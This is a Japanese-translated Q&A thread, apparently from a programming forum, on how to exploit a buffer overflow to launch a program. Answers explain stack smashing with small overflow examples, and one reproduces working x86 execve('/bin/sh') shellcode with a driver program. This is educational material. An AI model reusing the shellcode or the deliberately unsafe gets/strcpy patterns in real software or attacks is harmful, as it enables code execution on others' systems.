6

私はバッファオーバーフローについて多くのことを聞いたことがあり、問題を理解していると信じていますが、まだ言う例は見当たりません

char buffer[16];

//code that will over write that buffer and launch notepad.exe
4

9 に答える 9

14

「楽しみと利益のためにスタックを破壊する」は、このテーマに関する最高のハウツー/FAQ です。

参照: http://insecure.org/stf/smashstack.html

実際のシェルコードの一部を次に示します。

    char shellcode[] =
            "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
            "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
            "\x80\xe8\xdc\xff\xff\xff/bin/sh";

    char large_string[128];

    void main() {
      char buffer[96];
      int i;
      long *long_ptr = (long *) large_string;

      for (i = 0; i < 32; i++)
        *(long_ptr + i) = (int) buffer;

      for (i = 0; i < strlen(shellcode); i++)
        large_string[i] = shellcode[i];

      strcpy(buffer,large_string);
}
于 2009-08-20T15:11:04.127 に答える
5

2 つの別個のものがあります。

  1. バッファをオーバーフローさせるコード。これは簡単に実行でき、おそらくセグメンテーション違反で終了します。表示されているのは次のとおりです: sprintf(buffer,"01234567890123456789");

  2. オペレーティング システムによって実行される、上書きされたメモリ コードを配置する手段。これは、単にバッファをオーバーフローさせるよりも困難であり、プログラムの実行方法に関連しています。彼らは通常、スタックから実行する次の命令を取得します。実行ポインターの破損 (またはその他の種類の破損) を作成せずにメモリを上書きすることにより、スタックの次の値に有効な命令を入れることができた場合、エクスプロイトを作成できます。 . これは通常、スタックの次に読み取られる値に、コードを含むメモリのセクションへのジャンプ命令を入れることによって行われます。これが、メモリのセクションを非実行可能としてマークすることが、この種の悪用を防ぐのに役立つ理由です。

于 2009-08-20T15:15:38.737 に答える
5

まず、他のプログラムを起動するプログラムが必要です。execOSを何らかの形で実行するプログラム。これは、OS と言語に大きく依存します。

次に、他のプログラムを起動するプログラムは、外部ソースからバッファに読み込む必要があります。

第 3 に、実行中のプログラム (コンパイラによってメモリに配置されたもの) を調べて、ステップ 1 (他のプログラムの起動) で使用される入力バッファーと他の変数がどのように存在するかを確認する必要があります。

第 4 に、実際にバッファーをオーバーランさせ、他の変数を設定する入力を作成する必要があります。

そう。パート 1 と 2 は、C では次のようなプログラムです。

#include <someOSstuff>
char buffer[16];
char *program_to_run= "something.exe";
void main( char *args[] ) {
    gets( buffer );
    exec( program_to_run );
}

パート 3 では、 と がどのように見えるかを分析する必要がありbufferますprogram_to_runが、おそらく

 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 s o m e t h i n g . e x e \x00

パート 4、あなたの入力は、

1234567890123456notepad.exe\x00

そのため、塗りつぶしbufferて上書きしprogram_to_runます。

于 2009-08-20T15:17:20.013 に答える
3
int x[10];

x[11] = 1;
于 2009-08-20T15:13:17.617 に答える
3

notpad.exe を起動する方法がわかりませんが、このバッファを上書きするには、次のようにします。

sprintf(buffer, "somestringlongerthan16");
于 2009-08-20T15:10:30.633 に答える
1

バッファ オーバーフローを使用して、コードに意図しない動作をさせる方法は、割り当てられたバッファの外にデータを書き込んで、他の何かを上書きすることです。

上書きされるデータは通常、別の関数のコードですが、簡単な例としては、バッファーの隣にある変数を上書きします。

char buffer[16];
string myapp = "appmine.exe";

void execMe(string s) {
   for (int i = 0; i < s.Length; i++) buffer[i] = s[i];
   Sys.Execute(myapp, buffer);
}

バッファが保持できるよりも多くのデータで関数を呼び出すと、ファイル名が上書きされます。

execMe("0123456789012345notepad");
于 2009-08-20T15:21:58.073 に答える
1
gets(buffer);

gets はバッファーのサイズを要求しないため、適切に使用する方法はありません。

scanf("%s", buffer);

Scanf は、空白に到達するまで文字列入力を読み取ります。ユーザーが 16 文字を超えて入力すると、バッファ オーバーフローが発生します。

于 2009-08-20T15:08:51.760 に答える
0

Phrack のSmashing The Stack For Fun And Profitには、求めていることを実行できるようにするのに十分な説明があります。

于 2009-08-20T15:12:14.220 に答える
0

簡単な例については、こちらも参照してください。

一部のバッファ オーバーラン攻撃からの保護: 攻撃の例

http://www.greenend.org.uk/rjk/random-stack.html

于 2009-08-23T16:30:24.127 に答える